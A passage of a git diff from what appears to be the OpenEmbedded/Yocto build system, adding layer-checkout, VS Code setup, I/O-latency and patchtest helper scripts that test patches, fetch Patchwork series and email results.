+ curr_toplevel = subprocess.check_output("git -C %s rev-parse --show-toplevel" % repodir, shell=True, stderr=subprocess.DEVNULL)
+ if curr_toplevel.strip().decode("utf-8") == repodir:
+ return True
+ except subprocess.CalledProcessError:
+ pass
+ return False
+
+def _is_repo_at_rev(repodir, rev):
+ try:
+ curr_rev = subprocess.check_output("git -C %s rev-parse HEAD" % repodir, shell=True, stderr=subprocess.DEVNULL)
+ if curr_rev.strip().decode("utf-8") == rev:
+ return True
+ except subprocess.CalledProcessError:
+ pass
+ return False
+
+def _is_repo_at_remote_uri(repodir, remote, uri):
+ try:
+ curr_uri = subprocess.check_output("git -C %s remote get-url %s" % (repodir, remote), shell=True, stderr=subprocess.DEVNULL)
+ if curr_uri.strip().decode("utf-8") == uri:
+ return True
+ except subprocess.CalledProcessError:
+ pass
+ return False
+
+def _contains_submodules(repodir):
+ return os.path.exists(os.path.join(repodir,".gitmodules"))
+
+def _write_layer_list(dest, repodirs):
+ layers = []
+ for r in repodirs:
+ for root, dirs, files in os.walk(r):
+ if os.path.basename(root) == 'conf' and 'layer.conf' in files:
+ layers.append(os.path.relpath(os.path.dirname(root), dest))
+ layers_f = os.path.join(dest, ".oe-layers.json")
+ print("Writing list of layers into {}".format(layers_f))
+ with open(layers_f, 'w') as f:
+ json.dump({"version":"1.0","layers":layers}, f, sort_keys=True, indent=4)
+
+def _do_checkout(args, json):
+ repos = json['sources']
+ repodirs = []
+ oesetupbuild = None
+ for r_name in repos:
+ r_data = repos[r_name]
+ repodir = os.path.abspath(os.path.join(args['destdir'], r_data['path']))
+ repodirs.append(repodir)
+
+ if 'contains_this_file' in r_data.keys():
+ force_arg = 'force_bootstraplayer_checkout'
+ if not args[force_arg]:
+ print('Note: not checking out source {repo}, use {repoflag} to override.'.format(repo=r_name, repoflag='--force-bootstraplayer-checkout'))
+ continue
+ r_remote = r_data['git-remote']
+ rev = r_remote['rev']
+ desc = r_remote['describe']
+ if not desc:
+ desc = rev[:10]
+ branch = r_remote['branch']
+ remotes = r_remote['remotes']
+
+ print('\nSetting up source {}, revision {}, branch {}'.format(r_name, desc, branch))
+ if not _is_repo_git_repo(repodir):
+ cmd = 'git init -q {}'.format(repodir)
+ print("Running '{}'".format(cmd))
+ subprocess.check_output(cmd, shell=True)
+
+ for remote in remotes:
+ if not _is_repo_at_remote_uri(repodir, remote, remotes[remote]['uri']):
+ cmd = "git remote remove {} > /dev/null 2>&1; git remote add {} {}".format(remote, remote, remotes[remote]['uri'])
+ print("Running '{}' in {}".format(cmd, repodir))
+ subprocess.check_output(cmd, shell=True, cwd=repodir)
+
+ cmd = "git fetch -q {} || true".format(remote)
+ print("Running '{}' in {}".format(cmd, repodir))
+ subprocess.check_output(cmd, shell=True, cwd=repodir)
+
+ if not _is_repo_at_rev(repodir, rev):
+ cmd = "git fetch -q --all || true"
+ print("Running '{}' in {}".format(cmd, repodir))
+ subprocess.check_output(cmd, shell=True, cwd=repodir)
+
+ cmd = 'git checkout -q {}'.format(rev)
+ print("Running '{}' in {}".format(cmd, repodir))
+ subprocess.check_output(cmd, shell=True, cwd=repodir)
+
+ if _contains_submodules(repodir):
+ print("Repo {} contains submodules, use 'git submodule update' to ensure they are up to date".format(repodir))
+ if os.path.exists(os.path.join(repodir, 'scripts/oe-setup-build')):
+ oesetupbuild = os.path.join(repodir, 'scripts/oe-setup-build')
+
+ _write_layer_list(args['destdir'], repodirs)
+
+ if oesetupbuild:
+ oesetupbuild_symlink = os.path.join(args['destdir'], 'setup-build')
+ if os.path.exists(oesetupbuild_symlink):
+ os.remove(oesetupbuild_symlink)
+ os.symlink(os.path.relpath(oesetupbuild,args['destdir']),oesetupbuild_symlink)
+ print("\nRun '{}' to list available build configuration templates and set up a build from one of them.".format(oesetupbuild_symlink))
+
+parser = argparse.ArgumentParser(description="A self contained python script that fetches all the needed layers and sets them to correct revisions using data in a json format from a separate file. The json data can be created from an active build directory with 'bitbake-layers create-layers-setup destdir' and there's a sample file and a schema in meta/files/")
+
+parser.add_argument('--force-bootstraplayer-checkout', action='store_true',
+ help='Force the checkout of the layer containing this file (by default it is presumed that as this script is in it, the layer is already in place).')
+
+try:
+ defaultdest = os.path.dirname(subprocess.check_output('git rev-parse --show-toplevel', universal_newlines=True, shell=True, cwd=os.path.dirname(__file__)))
+except subprocess.CalledProcessError as e:
+ defaultdest = os.path.abspath(".")
+
+parser.add_argument('--destdir', default=defaultdest, help='Where to check out the layers (default is {defaultdest}).'.format(defaultdest=defaultdest))
+parser.add_argument('--jsondata', default=__file__+".json", help='File containing the layer data in json format (default is {defaultjson}).'.format(defaultjson=__file__+".json"))
+
+args = parser.parse_args()
+
+with open(args.jsondata) as f:
+ json_f = json.load(f)
+
+supported_versions = ["1.0"]
+if json_f["version"] not in supported_versions:
+ raise Exception("File {} has version {}, which is not in supported versions: {}".format(args.jsondata, json_f["version"], supported_versions))
+
+_do_checkout(vars(args), json_f)
diff --git a/scripts/oe-setup-vscode b/scripts/oe-setup-vscode
new file mode 100755
index 0000000000..b8642780d5
--- /dev/null
+++ b/scripts/oe-setup-vscode
@@ -0,0 +1,93 @@
+#!/bin/sh
+
+usage() {
+ echo "$0 <OEINIT> <BUILDDIR>"
+ echo " OEINIT: path to directory where the .vscode folder is"
+ echo " BUILDDIR: directory passed to the oe-init-setup-env script"
+}
+
+if [ "$#" -ne 2 ]; then
+ usage
+ exit 1
+fi
+
+OEINIT=$(readlink -f "$1")
+BUILDDIR=$(readlink -f "$2")
+VSCODEDIR=$OEINIT/.vscode
+
+if [ ! -d "$OEINIT" ] || [ ! -d "$BUILDDIR" ]; then
+ echo "$OEINIT and/or $BUILDDIR directories are not present."
+ exit 1
+fi
+
+VSCODE_SETTINGS=$VSCODEDIR/settings.json
+ws_builddir="$(echo "$BUILDDIR" | sed -e "s|$OEINIT|\${workspaceFolder}|g")"
+
+# If BUILDDIR is in scope of VSCode ensure VSCode does not try to index the build folder.
+# This would lead to a busy CPU and finally to an OOM exception.
+mkdir -p "$VSCODEDIR"
+cat <<EOMsettings > "$VSCODE_SETTINGS"
+{
+ "bitbake.pathToBitbakeFolder": "\${workspaceFolder}/bitbake",
+ "bitbake.pathToEnvScript": "\${workspaceFolder}/oe-init-build-env",
+ "bitbake.pathToBuildFolder": "$ws_builddir",
+ "bitbake.commandWrapper": "",
+ "bitbake.workingDirectory": "\${workspaceFolder}",
+ "files.exclude": {
+ "**/.git/**": true,
+ "**/_build/**": true,
+ "**/buildhistory/**": true,
+ "**/cache/**": true,
+ "**/downloads/**": true,
+ "**/node_modules/**": true,
+ "**/oe-logs/**": true,
+ "**/oe-workdir/**": true,
+ "**/sstate-cache/**": true,
+ "**/tmp*/**": true,
+ "**/workspace/attic/**": true,
+ "**/workspace/sources/**": true
+ },
+ "files.watcherExclude": {
+ "**/.git/**": true,
+ "**/_build/**": true,
+ "**/buildhistory/**": true,
+ "**/cache/**": true,
+ "**/downloads/**": true,
+ "**/node_modules/**": true,
+ "**/oe-logs/**": true,
+ "**/oe-workdir/**": true,
+ "**/sstate-cache/**": true,
+ "**/tmp*/**": true,
+ "**/workspace/attic/**": true,
+ "**/workspace/sources/**": true
+ },
+ "python.analysis.exclude": [
+ "**/_build/**",
+ "**/.git/**",
+ "**/buildhistory/**",
+ "**/cache/**",
+ "**/downloads/**",
+ "**/node_modules/**",
+ "**/oe-logs/**",
+ "**/oe-workdir/**",
+ "**/sstate-cache/**",
+ "**/tmp*/**",
+ "**/workspace/attic/**",
+ "**/workspace/sources/**"
+ ]
+}
+EOMsettings
+
+
+# Ask the user if the yocto-bitbake extension should be installed
+VSCODE_EXTENSIONS=$VSCODEDIR/extensions.json
+cat <<EOMextensions > "$VSCODE_EXTENSIONS"
+{
+ "recommendations": [
+ "yocto-project.yocto-bitbake"
+ ]
+}
+EOMextensions
+
+echo "You had no $VSCODEDIR configuration."
+echo "These configuration files have therefore been created for you."
diff --git a/scripts/oe-time-dd-test.sh b/scripts/oe-time-dd-test.sh
new file mode 100755
index 0000000000..81748b8c9e
--- /dev/null
+++ b/scripts/oe-time-dd-test.sh
@@ -0,0 +1,106 @@
+#!/bin/bash
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+# oe-time-dd-test records how much time it takes to
+# write <count> number of kilobytes to the filesystem.
+# It also records the number of processes that are in
+# running (R), uninterruptible sleep (D) and interruptible
+# sleep (S) state from the output of "top" command.
+# The purporse of this script is to find which part of
+# the build system puts stress on the filesystem io and
+# log all the processes.
+usage() {
+ echo "$0 is used to detect i/o latency and runs commands to display host information."
+ echo "The following commands are run in order:"
+ echo "1) top -c -b -n1 -w 512"
+ echo "2) iostat -y -z -x 5 1"
+ echo "3) tail -30 tmp*/log/cooker/*/console-latest.log to gather cooker log."
+ echo " "
+ echo "Options:"
+ echo "-c | --count <amount> dd (transfer) <amount> KiB of data within specified timeout to detect latency."
+ echo " Must enable -t option."
+ echo "-t | --timeout <time> timeout in seconds for the <count> amount of data to be transferred."
+ echo "-l | --log-only run the commands without performing the data transfer."
+ echo "-h | --help show help"
+
+}
+
+run_cmds() {
+ echo "start: top output"
+ top -c -b -n1 -w 512
+ echo "end: top output"
+ echo "start: iostat"
+ iostat -y -z -x 5 1
+ echo "end: iostat"
+ echo "start: cooker log"
+ tail -30 tmp*/log/cooker/*/console-latest.log
+ echo "end: cooker log"
+}
+
+if [ $# -lt 1 ]; then
+ usage
+ exit 1
+fi
+
+re_c='^[0-9]+$'
+#re_t='^[0-9]+([.][0-9]+)?$'
+
+while [[ $# -gt 0 ]]; do
+ key="$1"
+
+ case $key in
+ -c|--count)
+ COUNT=$2
+ shift
+ shift
+ if ! [[ $COUNT =~ $re_c ]] || [[ $COUNT -le 0 ]] ; then
+ usage
+ exit 1
+ fi
+ ;;
+ -t|--timeout)
+ TIMEOUT=$2
+ shift
+ shift
+ if ! [[ $TIMEOUT =~ $re_c ]] || [[ $TIMEOUT -le 0 ]] ; then
+ usage
+ exit 1
+ fi
+ ;;
+ -l|--log-only)
+ LOG_ONLY="true"
+ shift
+ shift
+ ;;
+ -h|--help)
+ usage
+ exit 0
+ ;;
+ *)
+ usage
+ exit 1
+ ;;
+ esac
+done
+
+
+if [ "$LOG_ONLY" = "true" ] ; then
+ uptime
+ run_cmds
+ exit
+fi
+
+if [ -z ${TIMEOUT+x} ] || [ -z ${COUNT+x} ] ; then
+ usage
+ exit 1
+fi
+
+uptime
+echo "Timeout used: ${TIMEOUT}"
+timeout ${TIMEOUT} dd if=/dev/zero of=oe-time-dd-test.dat bs=1024 count=${COUNT} conv=fsync
+if [ $? -ne 0 ]; then
+ run_cmds
+fi
diff --git a/scripts/oe-trim-schemas b/scripts/oe-trim-schemas
index bf77c8cf64..e3b26e273e 100755
--- a/scripts/oe-trim-schemas
+++ b/scripts/oe-trim-schemas
@@ -1,5 +1,7 @@
#! /usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/scripts/oepydevshell-internal.py b/scripts/oepydevshell-internal.py
index 96c078ef3d..3bf7df1114 100755
--- a/scripts/oepydevshell-internal.py
+++ b/scripts/oepydevshell-internal.py
@@ -1,5 +1,7 @@
#!/usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -43,7 +45,7 @@ nonblockingfd(pty)
nonblockingfd(sys.stdin)
-histfile = os.path.expanduser("~/.oedevpyshell-history")
+histfile = os.path.expanduser("~/.oepydevshell-history")
readline.parse_and_bind("tab: complete")
try:
readline.read_history_file(histfile)
diff --git a/scripts/opkg-query-helper.py b/scripts/opkg-query-helper.py
index bc3ab43823..084d9ef684 100755
--- a/scripts/opkg-query-helper.py
+++ b/scripts/opkg-query-helper.py
@@ -29,7 +29,7 @@ for arg in sys.argv[1:]:
args.append(arg)
# Regex for removing version specs after dependency items
-verregex = re.compile(' \([=<>]* [^ )]*\)')
+verregex = re.compile(r' \([=<>]* [^ )]*\)')
pkg = ""
ver = ""
diff --git a/scripts/patchtest b/scripts/patchtest
new file mode 100755
index 0000000000..0be7062dc2
--- /dev/null
+++ b/scripts/patchtest
@@ -0,0 +1,232 @@
+#!/usr/bin/env python3
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtest: execute all unittest test cases discovered for a single patch
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import sys
+import os
+import unittest
+import logging
+import traceback
+import json
+
+# Include current path so test cases can see it
+sys.path.insert(0, os.path.dirname(os.path.realpath(__file__)))
+
+# Include patchtest library
+sys.path.insert(0, os.path.join(os.path.dirname(os.path.realpath(__file__)), '../meta/lib/patchtest'))
+
+from data import PatchTestInput
+from repo import PatchTestRepo
+
+import utils
+logger = utils.logger_create('patchtest')
+info = logger.info
+error = logger.error
+
+import repo
+
+def getResult(patch, mergepatch, logfile=None):
+
+ class PatchTestResult(unittest.TextTestResult):
+ """ Patchtest TextTestResult """
+ shouldStop = True
+ longMessage = False
+
+ success = 'PASS'
+ fail = 'FAIL'
+ skip = 'SKIP'
+
+ def startTestRun(self):
+ # let's create the repo already, it can be used later on
+ repoargs = {
+ 'repodir': PatchTestInput.repodir,
+ 'commit' : PatchTestInput.basecommit,
+ 'branch' : PatchTestInput.basebranch,
+ 'patch' : patch,
+ }
+
+ self.repo_error = False
+ self.test_error = False
+ self.test_failure = False
+
+ try:
+ self.repo = PatchTestInput.repo = PatchTestRepo(**repoargs)
+ except:
+ logger.error(traceback.print_exc())
+ self.repo_error = True
+ self.stop()
+ return
+
+ if mergepatch:
+ self.repo.merge()
+
+ def addError(self, test, err):
+ self.test_error = True
+ (ty, va, trace) = err
+ logger.error(traceback.print_exc())
+
+ def addFailure(self, test, err):
+ test_description = test.id().split('.')[-1].replace('_', ' ').replace("cve", "CVE").replace("signed off by",
+ "Signed-off-by").replace("upstream status",
+ "Upstream-Status").replace("non auh",
+ "non-AUH").replace("presence format", "presence")
+ self.test_failure = True
+ fail_str = '{}: {}: {} ({})'.format(self.fail,
+ test_description, json.loads(str(err[1]))["issue"],
+ test.id())
+ print(fail_str)
+ if logfile:
+ with open(logfile, "a") as f:
+ f.write(fail_str + "\n")
+
+ def addSuccess(self, test):
+ test_description = test.id().split('.')[-1].replace('_', ' ').replace("cve", "CVE").replace("signed off by",
+ "Signed-off-by").replace("upstream status",
+ "Upstream-Status").replace("non auh",
+ "non-AUH").replace("presence format", "presence")
+ success_str = '{}: {} ({})'.format(self.success,
+ test_description, test.id())
+ print(success_str)
+ if logfile:
+ with open(logfile, "a") as f:
+ f.write(success_str + "\n")
+
+ def addSkip(self, test, reason):
+ test_description = test.id().split('.')[-1].replace('_', ' ').replace("cve", "CVE").replace("signed off by",
+ "Signed-off-by").replace("upstream status",
+ "Upstream-Status").replace("non auh",
+ "non-AUH").replace("presence format", "presence")
+ skip_str = '{}: {}: {} ({})'.format(self.skip,
+ test_description, json.loads(str(reason))["issue"],
+ test.id())
+ print(skip_str)
+ if logfile:
+ with open(logfile, "a") as f:
+ f.write(skip_str + "\n")
+
+ def stopTestRun(self):
+
+ # in case there was an error on repo object creation, just return
+ if self.repo_error:
+ return
+
+ self.repo.clean()
+
+ return PatchTestResult
+
+def _runner(resultklass, prefix=None):
+ # load test with the corresponding prefix
+ loader = unittest.TestLoader()
+ if prefix:
+ loader.testMethodPrefix = prefix
+
+ # create the suite with discovered tests and the corresponding runner
+ suite = loader.discover(start_dir=PatchTestInput.testdir, pattern=PatchTestInput.pattern, top_level_dir=PatchTestInput.topdir)
+ ntc = suite.countTestCases()
+
+ # if there are no test cases, just quit
+ if not ntc:
+ return 2
+ runner = unittest.TextTestRunner(resultclass=resultklass, verbosity=0)
+
+ try:
+ result = runner.run(suite)
+ except:
+ logger.error(traceback.print_exc())
+ logger.error('patchtest: something went wrong')
+ return 1
+ if result.test_failure or result.test_error:
+ return 1
+
+ return 0
+
+def run(patch, logfile=None):
+ """ Load, setup and run pre and post-merge tests """
+ # Get the result class and install the control-c handler
+ unittest.installHandler()
+
+ # run pre-merge tests, meaning those methods with 'pretest' as prefix
+ premerge_resultklass = getResult(patch, False, logfile)
+ premerge_result = _runner(premerge_resultklass, 'pretest')
+
+ # run post-merge tests, meaning those methods with 'test' as prefix
+ postmerge_resultklass = getResult(patch, True, logfile)
+ postmerge_result = _runner(postmerge_resultklass, 'test')
+
+ print('----------------------------------------------------------------------\n')
+ if premerge_result == 2 and postmerge_result == 2:
+ logger.error('patchtest: No test cases found - did you specify the correct suite directory?')
+ if premerge_result == 1 or postmerge_result == 1:
+ logger.error('WARNING: patchtest: At least one patchtest caused a failure or an error - please check https://wiki.yoctoproject.org/wiki/Patchtest for further guidance')
+ else:
+ logger.info('OK: patchtest: All patchtests passed')
+ print('----------------------------------------------------------------------\n')
+ return premerge_result or postmerge_result
+
+def main():
+ tmp_patch = False
+ patch_path = PatchTestInput.patch_path
+ log_results = PatchTestInput.log_results
+ log_path = None
+ patch_list = None
+
+ git_status = os.popen("(cd %s && git status)" % PatchTestInput.repodir).read()
+ status_matches = ["Changes not staged for commit", "Changes to be committed"]
+ if any([match in git_status for match in status_matches]):
+ logger.error("patchtest: there are uncommitted changes in the target repo that would be overwritten. Please commit or restore them before running patchtest")
+ return 1
+
+ if os.path.isdir(patch_path):
+ patch_list = [os.path.join(patch_path, filename) for filename in sorted(os.listdir(patch_path))]
+ else:
+ patch_list = [patch_path]
+
+ for patch in patch_list:
+ if os.path.getsize(patch) == 0:
+ logger.error('patchtest: patch is empty')
+ return 1
+
+ logger.info('Testing patch %s' % patch)
+
+ if log_results:
+ log_path = patch + ".testresult"
+ with open(log_path, "a") as f:
+ f.write("Patchtest results for patch '%s':\n\n" % patch)
+
+ try:
+ if log_path:
+ run(patch, log_path)
+ else:
+ run(patch)
+ finally:
+ if tmp_patch:
+ os.remove(patch)
+
+if __name__ == '__main__':
+ ret = 1
+
+ # Parse the command line arguments and store it on the PatchTestInput namespace
+ PatchTestInput.set_namespace()
+
+ # set debugging level
+ if PatchTestInput.debug:
+ logger.setLevel(logging.DEBUG)
+
+ # if topdir not define, default it to testdir
+ if not PatchTestInput.topdir:
+ PatchTestInput.topdir = PatchTestInput.testdir
+
+ try:
+ ret = main()
+ except Exception:
+ import traceback
+ traceback.print_exc(5)
+
+ sys.exit(ret)
diff --git a/scripts/patchtest-get-branch b/scripts/patchtest-get-branch
new file mode 100755
index 0000000000..c6e242f8b6
--- /dev/null
+++ b/scripts/patchtest-get-branch
@@ -0,0 +1,81 @@
+#!/usr/bin/env python3
+
+# Get target branch from the corresponding mbox
+#
+# NOTE: this script was based on patches coming to the openembedded-core
+# where target branch is defined inside brackets as subject prefix
+# i.e. [master], [rocko], etc.
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import mailbox
+import argparse
+import re
+import git
+
+re_prefix = re.compile(r"(\[.*\])", re.DOTALL)
+
+def get_branch(filepath_repo, filepath_mbox, default_branch):
+ branch = None
+
+ # get all remotes branches
+ gitbranches = git.Git(filepath_repo).branch('-a').splitlines()
+
+ # from gitbranches, just get the names
+ branches = [b.split('/')[-1] for b in gitbranches]
+
+ subject = ' '.join(mailbox.mbox(filepath_mbox)[0]['subject'].splitlines())
+
+ # we expect that patches will have somewhere between one and three
+ # consecutive sets of square brackets with tokens inside, e.g.:
+ # 1. [PATCH]
+ # 2. [OE-core][PATCH]
+ # 3. [OE-core][kirkstone][PATCH]
+ # Some of them may also be part of a series, in which case the PATCH
+ # token will be formatted like:
+ # [PATCH 1/4]
+ # or they will be revisions to previous patches, where it will be:
+ # [PATCH v2]
+ # Or they may contain both:
+ # [PATCH v2 3/4]
+ # In any case, we want mprefix to contain all of these tokens so
+ # that we can search for branch names within them.
+ mprefix = re.findall(r'\[.*?\]', subject)
+ found_branch = None
+ if mprefix:
+ # Iterate over the tokens and compare against the branch list to
+ # figure out which one the patch is targeting
+ for token in mprefix:
+ stripped = token.lower().strip('[]')
+ if default_branch in stripped:
+ found_branch = default_branch
+ break
+ else:
+ for branch in branches:
+ # ignore branches named "core"
+ if branch != "core" and stripped.rfind(branch) != -1:
+ found_branch = token.split(' ')[0].strip('[]')
+ break
+
+ # if there's no mprefix content or no known branches were found in
+ # the tokens, assume the target is master
+ if found_branch is None:
+ found_branch = "master"
+
+ return (subject, found_branch)
+
+if __name__ == '__main__':
+
+ parser = argparse.ArgumentParser()
+ parser.add_argument('repo', metavar='REPO', help='Main repository')
+ parser.add_argument('mbox', metavar='MBOX', help='mbox filename')
+ parser.add_argument('--default-branch', metavar='DEFAULT_BRANCH', default='master', help='Use this branch if no one is found')
+ parser.add_argument('--separator', '-s', metavar='SEPARATOR', default=' ', help='Char separator for output data')
+ args = parser.parse_args()
+
+ subject, branch = get_branch(args.repo, args.mbox, args.default_branch)
+ print("branch: %s" % branch)
+
diff --git a/scripts/patchtest-get-series b/scripts/patchtest-get-series
new file mode 100755
index 0000000000..908442089f
--- /dev/null
+++ b/scripts/patchtest-get-series
@@ -0,0 +1,115 @@
+#!/bin/bash -e
+#
+# get-latest-series: Download latest patch series from Patchwork
+#
+# Copyright (C) 2023 BayLibre Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+# the interval into the past which we want to check for new series, in minutes
+INTERVAL_MINUTES=30
+
+# Maximum number of series to retrieve. the Patchwork API can support up to 250
+# at once
+SERIES_LIMIT=250
+
+# Location to save patches
+DOWNLOAD_PATH="."
+
+# Name of the file to use/check as a log of previously-tested series IDs
+SERIES_TEST_LOG=".series_test.log"
+
+# Patchwork project to pull series patches from
+PROJECT="oe-core"
+
+# The Patchwork server to pull from
+SERVER="https://patchwork.yoctoproject.org/api/1.2/"
+
+help()
+{
+ echo "Usage: get-latest-series [ -i | --interval MINUTES ]
+ [ -d | --directory DIRECTORY ]
+ [ -l | --limit COUNT ]
+ [ -h | --help ]
+ [ -t | --tested-series LOGFILE]
+ [ -p | --project PROJECT ]
+ [ -s | --server SERVER ]"
+ exit 2
+}
+
+while [ "$1" != "" ]; do
+ case $1 in
+ -i|--interval)
+ INTERVAL_MINUTES=$2
+ shift 2
+ ;;
+ -l|--limit)
+ SERIES_LIMIT=$2
+ shift 2
+ ;;
+ -d|--directory)
+ DOWNLOAD_PATH=$2
+ shift 2
+ ;;
+ -p|--project)
+ PROJECT=$2
+ shift 2
+ ;;
+ -s|--server)
+ SERVER=$2
+ shift 2
+ ;;
+ -t|--tested-series)
+ SERIES_TEST_LOG=$2
+ shift 2
+ ;;
+ -h|--help)
+ help
+ ;;
+ *)
+ echo "Unknown option $1"
+ help
+ ;;
+ esac
+done
+
+# The time this script is running at
+START_TIME=$(date --date "now" +"%Y-%m-%dT%H:%M:%S")
+
+# the corresponding timestamp we want to check against for new patch series
+SERIES_CHECK_LIMIT=$(date --date "now - ${INTERVAL_MINUTES} minutes" +"%Y-%m-%dT%H:%M:%S")
+
+echo "Start time is $START_TIME"
+echo "Series check limit is $SERIES_CHECK_LIMIT"
+
+# Create DOWNLOAD_PATH if it doesn't exist
+if [ ! -d "$DOWNLOAD_PATH" ]; then
+ mkdir "${DOWNLOAD_PATH}"
+fi
+
+# Create SERIES_TEST_LOG if it doesn't exist
+if [ ! -f "$SERIES_TEST_LOG" ]; then
+ touch "${SERIES_TEST_LOG}"
+fi
+
+# Retrieve a list of series IDs from the 'git-pw series list' output. The API
+# supports a maximum of 250 results, so make sure we allow that when required
+SERIES_LIST=$(git-pw --project "${PROJECT}" --server "${SERVER}" series list --since "${SERIES_CHECK_LIMIT}" --limit "${SERIES_LIMIT}" | awk '{print $2}' | xargs | sed -e 's/[^0-9 ]//g')
+
+if [ -z "$SERIES_LIST" ]; then
+ echo "No new series for project ${PROJECT} since ${SERIES_CHECK_LIMIT}"
+ exit 0
+fi
+
+# Check each series ID
+for SERIES in $SERIES_LIST; do
+ # Download the series only if it's not found in the SERIES_TEST_LOG
+ if ! grep -w --quiet "${SERIES}" "${SERIES_TEST_LOG}"; then
+ echo "Downloading $SERIES..."
+ git-pw series download --separate "${SERIES}" "${DOWNLOAD_PATH}"
+ echo "${SERIES}" >> "${SERIES_TEST_LOG}"
+ else
+ echo "Already tested ${SERIES}. Skipping..."
+ fi
+done
diff --git a/scripts/patchtest-send-results b/scripts/patchtest-send-results
new file mode 100755
index 0000000000..8a3dadbd11
--- /dev/null
+++ b/scripts/patchtest-send-results
@@ -0,0 +1,110 @@
+#!/usr/bin/env python3
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtest: execute all unittest test cases discovered for a single patch
+# Note that this script is currently under development and has been
+# hard-coded with default values for testing purposes. This script
+# should not be used without changing the default recipient, at minimum.
+#
+# Copyright (C) 2023 BayLibre Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import argparse
+import boto3
+import configparser
+import mailbox
+import os
+import re
+import sys
+
+greeting = """Thank you for your submission. Patchtest identified one
+or more issues with the patch. Please see the log below for
+more information:\n\n---\n"""
+
+suggestions = """\n---\n\nPlease address the issues identified and
+submit a new revision of the patch, or alternatively, reply to this
+email with an explanation of why the patch should be accepted. If you
+believe these results are due to an error in patchtest, please submit a
+bug at https://bugzilla.yoctoproject.org/ (use the 'Patchtest' category
+under 'Yocto Project Subprojects'). For more information on specific
+failures, see: https://wiki.yoctoproject.org/wiki/Patchtest. Thank
+you!"""
+
+def has_a_failed_test(raw_results):
+ return any(raw_result.split(':')[0] == "FAIL" for raw_result in raw_results.splitlines())
+
+parser = argparse.ArgumentParser(description="Send patchtest results to a submitter for a given patch")
+parser.add_argument("-p", "--patch", dest="patch", required=True, help="The patch file to summarize")
+parser.add_argument("-d", "--debug", dest="debug", required=False, action='store_true', help="Print raw email headers and content, but don't actually send it")
+args = parser.parse_args()
+
+if not os.path.exists(args.patch):
+ print(f"Patch '{args.patch}' not found - did you provide the right path?")
+ sys.exit(1)
+elif not os.path.exists(args.patch + ".testresult"):
+ print(f"Found patch '{args.patch}' but '{args.patch}.testresult' was not present. Have you run patchtest on the patch?")
+ sys.exit(1)
+
+result_file = args.patch + ".testresult"
+testresult = None
+
+with open(result_file, "r") as f:
+ testresult = f.read()
+
+# we know these patch files will only contain a single patch, so only
+# worry about the first element for getting the subject
+mbox = mailbox.mbox(args.patch)
+mbox_subject = mbox[0]['subject']
+subject_line = f"Patchtest results for {mbox_subject}"
+
+# extract the submitter email address and use it as the reply address
+# for the results
+reply_address = mbox[0]['from']
+
+# extract the message ID and use that as the in-reply-to address
+# TODO: This will need to change again when patchtest can handle a whole
+# series at once
+in_reply_to = mbox[0]['Message-ID']
+
+# the address the results email is sent from
+from_address = "patchtest@automation.yoctoproject.org"
+
+# mailing list to CC
+cc_address = "openembedded-core@lists.openembedded.org"
+
+if has_a_failed_test(testresult):
+ reply_contents = None
+ if len(max(open(result_file, 'r'), key=len)) > 220:
+ warning = "Tests failed for the patch, but the results log could not be processed due to excessive result line length."
+ reply_contents = greeting + warning + suggestions
+ else:
+ reply_contents = greeting + testresult + suggestions
+
+ ses_client = boto3.client('ses', region_name='us-west-2')
+
+ # Construct the headers for the email. We only want to reply
+ # directly to the tested patch, so make In-Reply-To and References
+ # the same value.
+ raw_data = 'From: ' + from_address + '\nTo: ' + reply_address + \
+ '\nCC: ' + cc_address + '\nSubject:' + subject_line + \
+ '\nIn-Reply-To:' + in_reply_to + \
+ '\nReferences:' + in_reply_to + \
+ '\nMIME-Version: 1.0" + \
+ "\nContent-type: Multipart/Mixed;boundary="NextPart"\n\n--NextPart\nContent-Type: text/plain\n\n' + \
+ reply_contents + '\n\n--NextPart'
+
+ if args.debug:
+ print(f"RawMessage: \n\n{raw_data}")
+ else:
+ response = ses_client.send_raw_email(
+ Source="patchtest@automation.yoctoproject.org",
+ RawMessage={
+ "Data": raw_data,
+ },
+ )
+
+else:
+ print(f"No failures identified for {args.patch}.")
diff --git a/scripts/patchtest-setup-sharedir b/scripts/patchtest-setup-sharedir
new file mode 100755
index 0000000000..277677e527
--- /dev/null
+++ b/scripts/patchtest-setup-sharedir
@@ -0,0 +1,83 @@
+#!/bin/bash -e
+#
+# patchtest-setup-sharedir: Setup a directory for storing mboxes and
+# repositories to be shared with the guest machine, including updates to
+# the repos if the directory already exists
+#
+# Copyright (C) 2023 BayLibre Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+# poky repository
+POKY_REPO="https://git.yoctoproject.org/poky"
+
+# patchtest repository
+PATCHTEST_REPO="https://git.yoctoproject.org/patchtest"
+
+# the name of the directory
+SHAREDIR="patchtest_share"
+
+help()
+{
+ echo "Usage: patchtest-setup-sharedir [ -d | --directory SHAREDIR ]
+ [ -p | --patchtest PATCHTEST_REPO ]
+ [ -y | --poky POKY_REPO ]"
+ exit 2
+}
+
+while [ "$1" != "" ]; do
+ case $1 in
+ -d|--directory)
+ SHAREDIR=$2
+ shift 2
+ ;;
+ -p|--patchtest)
+ PATCHTEST_REPO=$2
+ shift 2
+ ;;
+ -y|--poky)
+ POKY_REPO=$2
+ shift 2
+ ;;
+ -h|--help)
+ help
+ ;;
+ *)
+ echo "Unknown option $1"
+ help
+ ;;
+ esac
+done
+
+# define MBOX_DIR where the patch series will be stored by
+# get-latest-series
+MBOX_DIR="${SHAREDIR}/mboxes"
+
+# Create SHAREDIR if it doesn't exist
+if [ ! -d "$SHAREDIR" ]; then
+ mkdir -p "${SHAREDIR}"
+ echo "Created ${SHAREDIR}"
+fi
+
